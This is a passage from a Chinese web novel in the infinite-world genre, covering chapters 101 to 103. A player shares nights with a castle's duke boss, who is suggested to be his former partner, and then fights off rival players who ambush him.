一声接着一声,像是有人在楼上往下丢麻袋。 那群人的惨叫声和求饶声,从楼下传来,很快又归于沉寂。 …… 门外的混乱来得快,去得也快。 当最后一声重物坠地的闷响从楼下传来,整个古堡再次陷入了死一般的沉寂,仿佛刚才的一切都只是一场幻觉。 肖靳言躺在床上,睁着眼,静静地听着。 他等了约莫一分钟,确定外面再没有任何动静后,才不紧不慢地翻身下床。 那件丝绸睡袍被他随意地系在身上,露出大片结实的胸膛和线条流畅的腹肌。 他赤着脚,悄无声息地走到门边,握住冰冷的黄铜门把,轻轻一拧。 房门被拉开一条缝。 幽暗的长廊里空无一人,只有墙壁上那些肖像画的眼睛,在阴影里无声地转动着,透着一股永恒的死气。 肖靳言没有理会那些窥伺的目光。 他径直走到那道巨大的旋转楼梯顶端,垂眼,看向灯火依旧通明的一楼大厅。 大厅的地板上,横七竖八地躺着七八个人。 正是之前那群不自量力的玩家。 他们一个个鼻青脸肿,捂着胳膊或者大腿,在地上痛苦地翻滚呻吟。 那模样,像是被十几个人高马大的壮汉按在地上,结结实实地胖揍了一顿,然后又毫不留情地从二楼丢了下来。 伤得不轻,但都还活着。 能在这座古堡里,用这种方式,神不知鬼不觉地做到这一点的,除了那位喜怒无常的公爵大人,肖靳言再也想不出第二个人。 他收回视线,转过头,目光精准地落在了长廊尽头,那扇紧闭的书房门上。 他就那么看着,看了足有半分钟。 那双总是带着几分野性不羁的黑沉眼眸里,翻涌着一种旁人无法读懂的,极深的兴味。 半晌后,肖靳言忽然扯了扯嘴角,露出一抹痞气的笑。 他伸了个懒腰,浑身的骨节发出一连串清脆的轻响。 随即,他转身,头也不回地,走回了卧房。 房门在他身后,轻轻合上。 肖靳言将那柄漆黑的短刀重新收回系统空间,然后大大方方地,重新躺回了那张柔软的大床上。 出乎他自己的意料。 在这样一个危机四伏的副本里,在敌人巢穴的中心,他竟然很快就睡着了。 这一觉,是他进入无限世界以来,睡得最沉,也最安稳的一次。 翌日清晨。 第一缕惨白的光,透过厚重的窗帘缝隙,照亮了房间里浮动的尘埃。 肖靳言是在一阵细微的布料摩擦声中醒来的。 他睁开眼,意识还有些模糊。 下一秒,他的身体便在一瞬间绷紧了。 因为他看到,阿诺斯公爵此刻正背对着他,安静地站在那面巨大的穿衣镜前,整理着自己的着装。 对方不知道什么时候进来的,又在这里站了多久。 而一向警觉的自己,竟然没能在第一时间醒转。 这个认知,让肖靳言的心头猛地一跳。 这对他来说,是一件难以想象,也绝对不该发生的事情。 这代表着,他鬼使神差地,在这个喜怒无常的公爵面前,彻底放下了戒备心。 似乎是察觉到了身后的动静,镜子前的宿珩,慢条斯理地扣上了最后一颗珍珠纽扣。 他转过身,那双清冷的眸子,平静地落在刚刚醒来的肖靳言身上。 “早餐准备好了。” 他的声音平淡无波,仿佛昨夜那场单方面的“标记”和门外的骚乱,都从未发生过。 肖靳言依旧裹着那件丝绸睡袍,他靠坐在床头,抓了抓自己有些凌乱的短发。 听到这话,他懒洋洋地抬了抬眼皮。 “那能麻烦公爵大人,给我拿件衣服吗?” 宿珩没说话。 他只是走到旁边的衣架前,从上面挂着的一排做工考究的礼服里,挑出了一套。 那是一件早就熨烫妥帖的黑色燕尾服,被他随手丢了过来,精准地落在了肖靳言的身前。 肖靳言伸手接住,将衣服在面前抖开看了看。 这尺寸,这肩宽,不用试他都知道,会完美地贴合他的身形。 他也不避嫌,当着宿珩的面,直接扯掉了身上那件唯一的遮蔽物。 睡袍滑落在地。 一副充满了蓬勃生命力的,精壮结实的男性□□,就这样毫无遮挡地,彻底暴露在了空气里。 每一寸肌肉都充满了力量感,连同那傲人的地方,都彰显着极具侵略性的野性。 他慢条斯理地,将那套代表着矜贵与束缚的西服,一件一件地穿在身上。 当最后一颗纽扣被扣好,整个人的气质,瞬间发生了天翻地覆的变化。 如果说之前那个赤着上身的男人,是一头充满了原始野性的狼。 那么现在。 配上他那张英俊硬朗的脸部轮廓,他就像一个从中世纪油画里走出来的,危险又迷人的贵族绅士。 宿珩的视线,在最后一颗纽扣被扣好时,多停留了片刻。 肖靳言敏锐地捕捉到了那道目光。 他慢条斯理地抚平了衣襟上不存在的褶皱,嘴角勾起一抹意味不明的弧度。 下一秒,他迈开长腿,站到了宿珩的身边。 两人之间只隔了半步的距离,身影一同被框进了那面巨大的穿衣镜里。 镜中。 一个高大挺拔,一个清瘦矜贵。 深色的燕尾服如同暗夜,衬着那张英俊硬朗的脸,眼底是压不住的野性。 繁复的白色绅士礼服则像是霜雪,映着一张苍白疏离的面容,眸光清冷如冰。 一黑一白,一动一静,一热一冷。 明明是两个截然不同的极端,可当他们并肩站在一起时,那画面却呈现出一种诡异而完整的……和谐感。 或者说……般配。 换好衣服后,两人一言不发地,一同下楼。 当他们一前一后,出现在那道巨大的旋转楼梯上时。 楼下餐厅里,那群已经用治愈道具勉强疗好了伤,正心惊胆战地喝着清水的玩家们,顿时像看到了鬼一样,集体愣住了。 所有人的目光,都死死地钉在了那个安然无恙,甚至可以说是神采奕奕的肖靳言身上。 “他……他居然没死?” 有人压低了声音,那语气里充满了难以置信。 另一个玩家则死死地盯着肖靳言的嘴角,那里正噙着一抹若有似无的笑意。 他忍不住小声对同伴嘀咕。 “你看他那副样子……分明是昨晚‘吃’爽了!” 同伴一时没反应过来,问:“他吃什么了?” 旁边立刻响起恨铁不成钢的低骂,“当然是公爵了,难不成还能是你啊?!” 此话一出,旁边几名玩家立即明白了。 虽然不知道肖靳言是怎么做到的,但一想到阿诺斯公爵居然留着他的心脏没有享用,这对他们来说,勉强算是一个好消息。 或许…… 他们也可以试着争夺一下今晚侍寝的名额。 第102章 第 102 章 世界的悲鸣9 早餐的气氛, 比昨天的晚餐更加诡异。 那群被揍的半死不活的玩家,不约而同想到了这种可能性,此刻一个个衣着整洁, 精神抖擞。 他们不再像最初那样,畏惧地缩在角落。 宿珩刚一落座,一个长相甜美的女孩便端着一杯牛奶, 款款走到他身边。 “公爵大人。” 她的声音甜得发腻,身体微微前倾,刻意露出一截白皙的脖颈, “这是我特意为您准备的, 请您享用。” 宿珩眼皮都没抬一下, 只是用指尖,轻轻敲了敲面前的桌面。 身后的女仆立刻上前, 面无表情地接过那杯牛奶,转身倒进了旁边的壁炉里。 女孩的脸色瞬间变得煞白。 另一个身材健硕的男玩家见状,立刻站起身,故意展示着自己衬衫下鼓胀的肌肉线条。 “公爵大人, 这座古堡真是宏伟, 不知我是否有荣幸, 能追随您左右, 为您效劳?” 他话音刚落,坐在宿珩身旁的肖靳言, 慢条斯理地用餐刀切下一小块煎蛋,送进嘴里。 “省省吧。” 他声音不大, 却清晰地传到了每一个人的耳朵里,“他眼光高着呢。” 那语气里的嘲弄和一丝若有若无的占有欲,让几个玩家的脸色更加难看。 一整天, 类似的闹剧都在不断上演。 有人“不小心”在宿珩面前摔倒,有人试图用悲惨的身世博取同情,还有人故作深沉地,想要与他探讨哲学与艺术。 宿珩从始至终都未曾理会。 他就像一个没有感情的人偶,用绝对的冷漠,将所有人的谄媚与试探,都隔绝在外。 直到夜幕再次降临,晚餐的长桌上,摇曳的烛火将每个人的脸都映照得晦暗不明。 所有玩家都屏住了呼吸,等待着那位古堡主人最后的宣判。 宿珩用餐巾优雅地擦了擦嘴角。 他抬起眼,视线在众人身上缓缓扫过。 每一个被他看到的人,都不由自主地挺直了脊背,脸上挤出自认为最完美的表情。 最终,宿珩的目光,落在了那个从头到尾都像是在看戏的,悠闲自得的男人身上。 他抬起手,那只骨节分明的手指,在空中,遥遥指向肖靳言。 “今晚还是由你侍寝。” 优雅又冰冷的声音,在死寂的餐厅里回荡。 话音落下,餐厅里的气氛瞬间凝固。 那些满怀期待的玩家,脸上的表情僵住了,像是被人狠狠打了一耳光。 嫉妒,不甘,怨恨,种种情绪交织在一起,几乎要将他们吞噬。 而被选中的肖靳言,却只是懒洋洋地靠在椅背上,冲着主位上的宿珩,遥遥举杯。 “当然没问题。” 他笑得得意又张扬,随即站起身,在众人几欲喷火的目光中,跟随着宿珩,头也不回地走上了那道巨大的旋转楼梯。 等两人的身影彻底消失在二楼的阴影里,餐厅里压抑的氛围,轰然爆发。 “凭什么!凭什么又是他!” 一个玩家终于没忍住,一拳砸在了桌子上。 “那个家伙到底给公爵灌了什么迷魂汤?” “我们不能再这样坐以待毙了!再这样下去,我们迟早会一个一个被那家伙耗死!” 众人七嘴八舌地宣泄着自己的不满与恐惧。 最后,所有人的目光,都不约而同地,聚集在了那个从始至终都保持着沉默的独行玩家身上。 “你……你还有别的办法吗?” 独行玩家慢条斯理地擦了擦手里的银质匕首,抬起眼,冷冷地扫过众人。 “办法?” 他嗤笑一声,“一群蠢货,用那种低劣的方式去勾引一个活了不知道多少年的怪物,你们是在侮辱他,还是在侮辱自己的智商?” 众人被他骂得面色一阵青一阵白,却不敢反驳。 独行玩家站起身,将那柄匕首收回怀里。 “既然讨好这条路走不通,那就只剩下另一条路了。” 他的眼神变得阴狠而毒辣。 “从镜子里你们也看到了,阿诺斯公爵的弱点,就是他那份扭曲的爱意。而现在,那个叫肖靳言的男人,就是他新的‘爱人’。” “我们不需要成为他的弱点。” 独行玩家的嘴角,勾起一抹狰狞的笑。 “我们只需要……毁掉他的弱点。” “当着他的面,亲手毁掉那个他最在意的‘猎物’,让他再体会一次那种极致的绝望与痛苦。” “到那时,他必然会陷入最虚弱的疯狂状态,我们再趁机……取出他的心脏!” 这些话像一条毒蛇,瞬间钻进了在场每一个人的心里。 虽然恶毒,虽然疯狂,但却是他们目前唯一的,也是最有希望的生路。 “所以……今晚什么都不用做,如果他明天还能活着下来,到时候,大家一拥而上,直接了结了他!” …… 另一边。 卧房的门在身后合上。 肖靳言双手插在口袋里,好整以暇地看着宿珩走到衣柜前,取出一套干净的浴袍。 他以为,接下来又会是像昨晚那样的,一场充满了试探与角力的对峙。 可出乎他意料的是,宿珩只是拿着浴袍,淡淡地瞥了他一眼。 “你在这里等我。” 说完,他便径直走进了浴室。 很快,浴室里便传来了哗哗的水声。 肖靳言站在原地,挑了挑眉,那双黑沉的眼眸里,闪过一丝诧异。 他走到那张巨大而柔软的天鹅绒大床边,坐了下来,指尖无意识地,在暗红色的床罩上轻轻划过。 这个公爵,到底在想什么? 水声停了。 片刻后,浴室的门被推开,一股温热潮湿的水汽,裹挟着沐浴露的清香,涌了出来。 宿珩穿着一件黑色的丝绸浴袍,正用毛巾擦拭着自己湿漉漉的黑发。 浴袍的领口微微敞开,露出一段精致的锁骨,和一小片因为热气而泛着淡粉色的皮肤。 那双总是像覆着一层薄冰的眸子,此刻被水汽一熏,显得有些湿润,少了几分平日里的疏离与冰冷。 肖靳言的呼吸,微微滞了一下。 他看着宿珩,看着他擦干头发,然后将毛巾随手丢在一旁。 紧接着。 在肖靳言错愕的注视下,宿珩没有看他,也没有说任何话,而是径直走到了床边。 然后,他就这么直接地,侧身躺了下去。 黑色的丝绸浴袍因为这个动作,向上滑了一截,露出一双修长笔直,线条极其漂亮的小腿。 他就那么安静地躺在那里,闭上了眼,纤长的睫毛在眼下投下一小片安静的阴影。 那姿态,不像一个随时准备享用晚餐的猎人。 反而像一个……放弃了所有抵抗,任人宰割的祭品。 肖靳言脸上的所有表情,在这一刻,都凝固了。 他坐在床边,一动不动地,看着躺在自己身侧的宿珩。 房间里,只剩下烛火燃烧时,偶尔发出的,细微的“噼啪”声。 这算什么? 新的陷阱? 还是……无声的邀请? 烛火摇曳,将宿珩那张苍白的侧脸映照得如同上好的冷玉,纤长的睫毛安静垂落,在那片白皙的皮肤上投下浅淡的阴影。 肖靳言的喉结上下滚动了一下。 他不知道这个BOSS葫芦里卖的什么药。 只知道自己那颗总是能保持绝对冷静的,强大的心脏,在这一刻,前所未有地,乱了节奏。 许久之后,肖靳言缓缓站起身,径直走进了浴室。 哗哗的水声响起。 肖靳言站在莲蓬头下,任由温热的水流冲刷着自己结实的身体。 他闭上眼,脑海里却不受控制地,反复浮现出宿珩躺在床上的那一幕。 那是一种极其矛盾的感觉。 对方的身上,既有属于“阿诺斯公爵”的,那种与生俱来的疏离与矜贵。 又有一种……让他莫名觉得熟悉,甚至心头微微软化的脆弱感。 这种熟悉感来得莫名其妙,却又如此强烈。 许久之后,水声停了。 肖靳言随手扯过一条浴巾围在腰间,换上了衣架上那件属于他的黑色丝绸睡袍。 他擦着头发,一步步从浴室里走了出来。 床上的人,依旧维持着刚才的姿势,仿佛已经陷入了沉睡。 肖靳言的脚步,在床边顿了顿。 最终,他掀开被子的另一侧,躺了下去。 柔软的床垫因为他的重量,微微向下凹陷。 两人之间只隔着不到一臂的距离。 一股混合着沐浴露清香的,干净又疏离的冷香,若有似无地,萦绕在他的鼻尖。 肖靳言侧过头,看着近在咫尺的宿珩。 他发现,自己竟然能清晰地听见对方平稳而轻浅的呼吸声。 那不是一个副本BOSS该有的呼吸。 那是一个活生生的人,才有的温度与节奏。 就在这一刻,那种无法言说的熟悉感,如同决堤的潮水,铺天盖地将他彻底淹没。 仿佛在很久很久以前,他们也曾这样,在某个安静的夜里,同床共枕。 “砰、砰、砰——” 心脏跳得越来越快,越来越重,像一只要挣脱胸腔的困兽。 该死的。 肖靳言的眉头,紧紧地皱了起来。 他抬起手,有些烦躁地,按住了自己心脏的位置。 可就在他指尖触碰到胸口皮肤的瞬间。 一直安静躺在他身侧的宿珩,毫无预兆地,猛地睁开了眼。 下一秒,不等肖靳言做出任何反应。 宿珩翻身而上。 他直接跨坐在了肖靳言那紧实的腰腹之上,双手撑在他的耳侧,将他牢牢地禁锢在了自己身下。 肖靳言的瞳孔,骤然一缩。 他整个人都僵住了。 因为宿珩俯下了身,没有一句废话,甚至没有一丝一毫的犹豫。 他低头,对准那双因为错愕而微微张开的唇,毫不留情地,吻了下去。 那是一个充满了侵略性与占有欲的吻。 冰凉的唇瓣,带着不容拒绝的力道,狠狠地碾压着,撬开齿关,长驱直入。 没有丝毫技巧,却带着一种近乎野蛮的,要将人生吞活剥的凶狠。 肖靳言的大脑,有那么一瞬间,是完全空白的。 他甚至忘了反抗,也忘了去取系统空间里的道具。 等他那被震得有些发懵的思绪,终于重新回笼时,才后知后觉地感觉到,自己身上那件松松垮垮的睡袍,不知何时,已经被一股蛮横的力道,彻底拽开。 冰凉的空气,接触到滚烫的皮肤。 而那个吻,却越来越深,越来越烫。 像一簇被点燃的,燎原的野火。 亲够了的宿珩,终于微微退开了一些。 他微微喘着粗气,那双总是清冷如冰的眸子,此刻却像是被点燃的黑曜石,翻涌着晦暗而炽热的光。 他的嘴唇被吻得嫣红,上面还沾着一丝晶亮的水光。 然后。 就在肖靳言惊愕的目光下。 宿珩当着他的面,伸出手,用一种近乎粗暴的动作,压住了他的肩膀。 肖靳言的眼底倒映出一张漂亮到令人窒息的面孔。 肖靳言不禁咽了咽喉咙。 明明可以轻易挣脱,但肖靳言并未做出任何反应。 他盯着公爵漂亮的眼睛。 十分期待他接下来想做的事。 (ps:一直锁,我不写了行了吧) 第二天。 当第一缕惨白的光,穿透窗帘的缝隙,照进房间时。 肖靳言睁开了眼。 身侧的位置,已经空了。 空气里,还残留着那股好闻的冷香气息。 肖靳言撑着手臂,缓缓坐了起来。 丝绸薄被从他身上滑落。 他用指腹轻轻碰了碰自己有些发疼的嘴唇。 脑海里不受控制地,闪过昨晚一幕幕画面。 没想到,看起来清冷禁欲的“公爵”,竟有不为人知的……另一面。 凶狠,青涩。 还他妈的主动。 像一头野兽,带着一种要将他拆吞入腹的,孤注一掷的疯狂。 半晌后,肖靳言低低地笑了一声。 谁能想到,自己居然和副本boss…… 那笑声里,带着一丝沙哑,和一种心满意足的慵懒。 他起身下床,捡起地上那件属于自己的黑色燕尾服,慢条斯理地穿好。 等他把自己打理得衣冠楚楚,再次恢复成那个英俊硬朗的绅士后,才推开门,走了出去。 幽暗的长廊,一如既往的死寂。 肖靳言双手插在口袋里,迈着悠闲的步伐,一步步走下那道巨大的旋转楼梯。 他的心情,前所未有的好。 那副意气风发,仿佛刚刚占山为王的得意模样,与他平日里沉稳强大的气场截然不同,却越发引人注目。 餐厅里。 那群幸存的玩家早已到齐,一个个正襟危坐,气氛压抑得像是在等待行刑。 当他们看到肖靳言第二次安然无恙,从楼上走下来,甚至脸上还挂着比昨天还要神采奕奕的表情时,所有人的脸上,再次露出了见了鬼一般的表情。 嫉妒与怨恨的火焰,在他们眼底疯狂燃烧,几乎要凝成实质。 尤其是那个独行玩家。 他看着肖靳言嘴角那抹藏都藏不住的笑意,握着匕首的手,青筋悄然暴起。 他们这群人昨晚虽然什么都没做,但这间古堡仿佛盯上了他们,时不时来个惊吓,弄得他们彻夜未眠。 而看到这般模样的肖靳言,他们内心那个恶毒又疯狂的计划,在这一刻,被推到了顶点。 肖靳言将所有人的反应尽收眼底,却毫不在意。 他甚至还冲着那个对他怒目而视的独行玩家,挑了挑眉。 然后,他继续迈开长腿,不紧不慢地,朝着楼下走来。 就在他的一只脚,即将踏上大厅地面的时候。 异变陡生! 离他最近的那个玩家,眼中闪过一抹狠戾。 他猛地从座位上暴起,从系统空间里取出一把淬了毒的匕首,用尽全身的力气,朝着肖靳言的后心,狠狠地刺了过去! “去死吧!” 那一声怒吼,充满了压抑了一整夜的怨毒。 偷袭来得又快又狠,几乎没有任何预兆。 可就在那泛着幽绿光芒的匕首尖,即将触碰到肖靳言后背衣料的瞬间。 肖靳言的身体,以一个常人难以想象的角度,猛地向侧方一拧。 他的动作快如闪电,甚至带出了一道残影。 “铛——” 那把淬毒的匕首,险之又险地,擦着他的衣角而过,重重地钉在了他身后的楼梯扶手上。 肖靳言轻巧地落在地上,站稳了身体。 他转过身,那双黑沉的眼眸里,最后一丝慵懒的笑意,也彻底消失了。 取而代之的,是一片冰冷刺骨的,凛冽的杀意。 可当他抬起眼,看向餐厅时,却发现。 楼下剩下的所有玩家,不知何时,已经全都站了起来。 他们一个个手里都握着武器或者道具,从四面八方,将他团团围住。 那一张张脸上,都带着如出一辙的,狰狞而疯狂的表情。 他们看着他的眼神,不再是看一个同类。 而是看一个……必须被清除的,猎物。 第103章 第 103 章 世界的悲鸣10 宽敞的大厅里, 空气仿佛在一瞬间凝固。 十几个玩家,将所有的退路,都堵得死死的。 他们手中的武器, 在从窗外透进来的,惨白的晨光下,闪烁着贪婪而嗜血的光。 偷袭失败的那个玩家, 啐了一口,恶狠狠地盯着肖靳言,那眼神仿佛要将他生吞活剥。 “兄弟们, 别跟他废话!” “这家伙就是个靠出卖身体上位的软蛋!” “公爵现在还没下来, 我们一起上, 反正副本没说不可以杀玩家,直接先把他弄死!” “只要他死了, 这个副本的BOSS就失去了最大的弱点,我们就有机会了!” “说不定咱们都能得到S级通关成就!” 一句句煽动性的话语,像是一桶桶滚油,浇在众人那本就因为嫉妒与恐惧而燃烧的火焰上。 尤其最后“S级通关成就”几个字, 更是让一些人头脑发热, 连呼吸都变得急促了。 那可是代表着数不清的积分, 强大的道具……以及下一个副本存活的希望。 理智, 彻底被求生的欲望,和对强者的嫉妒所吞噬。 看着眼前这一张张因为疯狂而扭曲的脸, 肖靳言脸上的最后一丝温度,也彻底消失了。 昨晚没做的事情……没想到还是来了。 他缓缓直起了身子。 那双总是带着几分野性不羁的黑沉眼眸, 此刻像两潭被冰封的深渊,不起半点波澜,只有刺骨的寒意。 他甚至都懒得开口, 去跟这群已经被贪婪冲昏了头脑的蠢货,说哪怕一个字的废话。 他只是活动了一下手腕,骨节发出了一阵清脆的,令人牙酸的“咔哒”声。 那声音在死寂的大厅里,显得格外清晰。 也像一个信号。 那个为首的独行玩家,眼中寒光一闪。 “上!” 一声令下,离得最近的三个玩家,瞬间怒吼着,从三个不同的方向,朝着肖靳言猛扑了过来。 锋利的刀刃,闪着寒光的斧头,还有一个燃烧着火焰的拳套,几乎在同一时间,封死了他所有闪避的路线。 这是一场毫无悬念的围剿。 在他们看来,这个叫肖靳言的男人,就算再强,也不可能在如此近的距离下,同时躲开三个方向的致命攻击。 可他们错了。 错得离谱。 就在那三件武器即将触碰到他身体的前一秒。 肖靳言动了。 他的身体,以一种违反了物理常识的姿态,向后微微一仰。 那个角度,几乎与地面平行。 三道致命的攻击,险之又险地,从他的鼻尖上方,擦了过去。 紧接着。 他那只撑在地上的手,猛地一用力。 整个人如同离弦之箭,不退反进,瞬间欺身到了那个挥舞着斧头的壮汉面前。 壮汉脸上的狞笑,还来不及褪去,瞳孔里便倒映出一只急速放大的拳头。 “砰——!” 一声沉闷的,像是西瓜被砸烂的巨响。 那一拳,精准而狠戾地,直接轰在了壮汉的面门上。 壮汉连惨叫声都没来得及发出,整个人就像一截被砍断的木桩,直挺挺地,向后飞了出去,重重地砸在后面的餐桌上,当场昏死过去。 一击得手,肖靳言的动作没有半分停滞。 他甚至都没有去看那个倒霉蛋一眼。 在身体落地的瞬间,他一个灵巧的旋身,右腿如同一条蓄满了力量的长鞭,带着撕裂空气的呼啸声,狠狠地,扫向了另外两个玩家的下盘。 那两人只觉得眼前一花,一股无法抗拒的巨力,便从膝盖的位置传来。 “咔嚓!” 两声清脆的,骨头断裂的声音,同时响起。 凄厉的惨叫,瞬间划破了大厅的寂静。 那两个玩家抱着自己已经扭曲变形的腿,倒在地上,痛苦地翻滚哀嚎。 这一切,都发生在电光火石之间。 从那三人发动攻击,到他们一个昏死,两个残废,整个过程,甚至不超过三秒钟。 太快了。 快到让其他那些正准备一拥而上的玩家,全都像被施了定身术一样森*晚*整*理,硬生生地,停在了原地。 他们脸上的疯狂与贪婪,瞬间被一股无法遏制的恐惧所取代。 这……这他妈真的是一个新人玩家,该有的实力吗?! 这根本就不是什么靠脸吃饭的软蛋! 这是一头披着人皮的,真正的怪物! 站在人群最后,那个一直没有动手的独行玩家,瞳孔骤然一缩。 他脸上的表情,也从最初的势在必得,变得前所未有的凝重。 他看走眼了。 这家伙的实力,远远超出了他的预估。 甚至比他曾遇到的一个B级副本里的资深玩家,都要恐怖。 肖靳言缓缓站直了身体。 他慢条斯理地,掸了掸自己燕尾服上根本不存在的灰尘。 然后抬起眼,那双冰冷的眸子,缓缓扫过在场的,每一个因为恐惧而瑟瑟发抖的玩家。 “还有谁?” 他开口,声音很轻,却像一柄重锤,狠狠地,砸在了每一个人的心上。 “想上来试试吗?” 那是一种极致的,不加掩饰的蔑视。 仿佛在他眼里,眼前这十几个手持武器的玩家,不过是一群待宰的,孱弱的羔羊。 羞辱。 赤裸裸的羞辱。 可偏偏,没有一个人敢上前。 他们被那双冰冷的眼睛看着,只觉得一股寒气从脚底板,直冲天灵盖,连握着武器的手,都开始不受控制地发抖。 就在大厅里的气氛,陷入一种诡异的僵持时。 那个独行玩家,终于动了。 他知道,今天这个局面,已经没有了任何回旋的余地。 不是你死,就是我亡。 “别被他吓到了!” 独行玩家发出一声怒吼,试图重新燃起众人的斗志。 “他再强,也只是一个人!” “我们这么多人,耗也能耗死他!” 他一边说着,一边从怀里,再次取出了那面巴掌大小的,古朴的铜镜。 “我用‘窥伺之镜’干扰他,你们趁机攻击!” 说完,他便将自己所有的精神力,疯狂地注入到那面铜镜之中。 镜面上,瞬间荡开了一圈圈诡异的涟漪。 一股无形的,充满了恶意与混乱的精神冲击,如同一根根看不见的尖针,朝着肖靳言的脑海,狠狠地扎了过去。 与此同时。 那些被逼到绝路的玩家,也在求生欲的驱使下,再次鼓起了最后的勇气。 他们怒吼着,咆哮着,像一群疯狂的野兽,再次从四面八方,朝着肖靳言,发起了决死冲锋。 然而。 面对这铺天盖地的攻击,和那无孔不入的精神干扰。 肖靳言的脸上,却没有出现半分他们预想中的痛苦与慌乱。 他只是轻轻地,蹙了一下眉。 那感觉,不像是在承受什么痛苦的攻击,更像是……被一只苍蝇在耳边嗡嗡叫,感到了一丝不耐烦。 下一秒。 一股比那独行玩家的精神力,不知道要强大多少倍的,磅礴浩瀚的,如同深海般恐怖的精神威压,从肖靳言的身上,轰然爆发! “嗡——!” 整个大厅的空气,都仿佛被这股威压,挤压得凝固了。 那个手持铜镜的独行玩家,首当其冲。 他只觉得自己的大脑,像是被一柄无形的巨锤狠狠砸中,眼前瞬间一黑。 “噗——” 一口鲜血,猛地从他嘴里喷了出来。 “3S……级精神力!” “他居然是3S级精神力!” 独行玩家惊恐大叫,手里的那面“窥伺之镜”,更是发出一声不堪重负的哀鸣,镜面上“咔嚓”一声,裂开了一道蛛网般的缝隙。 精神反噬! 那群正往前冲的玩家,也在这股恐怖的威压下,如同被割倒的麦子一般,齐刷刷地,惨叫着跪倒在地。 他们抱着头,痛苦地哀嚎,只觉得自己的灵魂,都快要被这股恐怖的力量,撕成碎片。 整个大厅,瞬间变成了人间炼狱。 肖靳言一步一步地,朝着那个因为精神反噬而跪在地上,七窍流血的独行玩家,走了过去。 他每走一步,脚下的地板,都仿佛在轻轻地颤抖。 独行玩家抬起头,用一种见了鬼般的,充满了恐惧与绝望的眼神,看着那个如同魔神般,向自己走来的男人。 “你……你到底……是谁……” 他用尽全身的力气,才从喉咙里,挤出这句不成调的问话。 C级副本里,怎么可能会出现这种怪物?! 这种精神力,就算是A级副本里的顶尖玩家,也不过如此! 肖靳言在他面前站定。 他居高临下地,俯视着这个策划了一切的罪魁祸首。 那双冰冷的眸子里,没有一丝一毫的怜悯。 “一个很快,就会让你忘记名字的人。” 他缓缓抬起脚。 就在他准备一脚,彻底了结这个不知死活的家伙时。 一个清冷的,不带任何情绪的声音,忽然从二楼的楼梯口,响了起来。 “住手。” 那声音不大,却带着一种不容置喙的,绝对的威严。 肖靳言的动作,顿住了。 他缓缓抬起头,看向了声音传来的方向。 二楼那巨大的旋转楼梯顶端。 宿珩正安静地站在那里。 他依旧穿着那件做工繁复的白色绅士礼服,姿态矜贵,神情疏离,像一尊不食人间烟火的,冰冷的雕像。 他那双清冷的眼眸,正平静地,俯视着楼下这片狼藉。 仿佛在看一场与他无关的,拙劣的闹剧。 可当他的视线,落在肖靳言身上时,那双总是像覆着一层薄冰的眸子里,却几不可察地,闪过了一丝极其复杂的情绪。 楼下那些正痛苦哀嚎的玩家,在看到宿珩出现的那一刻,就像是看到了救命稻草一般,脸上瞬间露出了劫后余生的狂喜。 “公爵大人!” “救命啊!公爵大人!” “这个家伙疯了!他想杀了我们所有人!” 那个跪在地上的独行玩家,更是像是抓住了最后一线生机,挣扎着,朝着宿珩的方向,伸出了血淋淋的手。 “公爵大人!我们是为了您啊!” “我们是为了帮您除掉这个背叛者!是为了维护您的尊严啊!” 他声嘶力竭地哭喊着。 试图用这种方式,来博取这位古堡主人的同情与庇护。 然而。 宿珩只是安静地听着。 他的脸上,没有任何表情。 那副姿态,让原本欣喜若狂的玩家们,心头猛地一沉,一股不祥的预感,油然而生。 肖靳言收回了脚。 他没有再去看地上那个像狗一样摇尾乞怜的家伙。 他只是双手插在口袋里,转过身,好整以暇地,靠在了楼梯的扶手上。 他仰着头,看着站在二楼的宿珩,嘴角勾起一抹玩味的,看好戏般的笑。 他想看看。 他的这位“公爵大人”,打算怎么处理眼前这个局面。 宿珩的视线,从那群玩家身上,一一扫过。 最后,落在了那个独行玩家的身上。 “你说。” 宿珩缓缓开口,声音平淡无波。 “你是为了维护我的尊严?” 独行玩家闻言,以为自己的话起了作用,顿时精神一振,忙不迭地用力点头。 “是的!公爵大人!” “这个男人,他根本不配得到您的垂青!他只是一个卑劣的,想要窃取您力量的窃贼!” “我们杀了他,是在为您清除隐患!” 听到这番“忠心耿耿”的表白。 宿珩忽然笑了。 那是一个很轻,很浅的笑。 可那个笑容,却让在场的所有人,都感到了一股发自灵魂深处的,彻骨的寒意。 “我的东西。” 宿珩的声音,依旧很轻,却像淬了最冷的冰。 “什么时候,轮到你们这群垃圾,来插手了?” 话音落下的瞬间。 一股比刚才肖靳言释放出的精神威压,还要恐怖千百倍的,充满了腐朽与恶意的,纯粹的黑暗,从宿珩的身后,轰然爆发! 整个古堡的光线,都在这一刻,陡然暗了下去。 仿佛所有的光,都被那团黑暗,彻底吞噬。 墙壁上那些肖像画的眼睛,不再是死寂的转动,而是齐刷刷地,流下了两行触目惊心的血泪。 阴冷刺骨的寒风,平地而起,在大厅里疯狂地呼啸。 那些燃烧的烛火,瞬间被吹灭。 整个世界,陷入了一片伸手不见五指的,绝对的黑暗与死寂。 只能听到,那群玩家因为极致的恐惧,而发出的,压抑的,变了调的抽气声。 紧接着。 一团比黑暗本身,还要浓郁的,不成形的影子,从宿珩身后的阴影里,缓缓地,浮现了出来。 【你们找死吗……】 一个沙哑的,黏腻的,不似人声的嘶鸣,直接在所有人的脑海里,响了起来。 那声音里,带着一种能将人逼疯的,疯狂的杂音。 玩家们再也控制不住,发出了惊恐到极致的尖叫。 “啊——!” “怪物!是昨晚那个怪物!” 他们终于意识到,自己到底犯了一个多么愚蠢,多么致命的错误。 他们以为,自己是在对付公爵的弱点。 可他们不知道。 他们这种行为,触碰到的,是这位喜怒无常的古堡主人,真正的逆鳞。 那团黑影,似乎很享受这种恐惧的氛围。 它那不成形的身体,愉悦地翻涌着,从那团最浓郁的黑暗里,裂开了两道空洞的缝隙。 那两道缝隙,“看”向了地上那群已经吓得屁滚尿流的玩家。 那目光里,充满了贪婪,与即将享用美食的渴望。 【新鲜的……血肉……】 【新鲜的……灵魂……】 它一边发出令人作呕的嘶鸣,一边拖着黏腻的身体,从二楼的楼梯上,缓缓地,爬了下来。 每爬下一节台阶,它身后的黑暗,便会向外蔓延一分。 空气里那股腐朽的冷香,也变得愈发浓郁,浓郁到几乎要凝成实质,扼住所有人的喉咙。 “不……不要过来!” 一个玩家崩溃了,他手脚并用地,想要从地上爬起来逃跑。 可他的身体,却像是被一股无形的力量死死地按在地上,动弹不得分毫。 只能眼睁睁地,看着那团代表着死亡与绝望的黑影,离自己越来越近。 肖靳言依旧靠在扶手上。 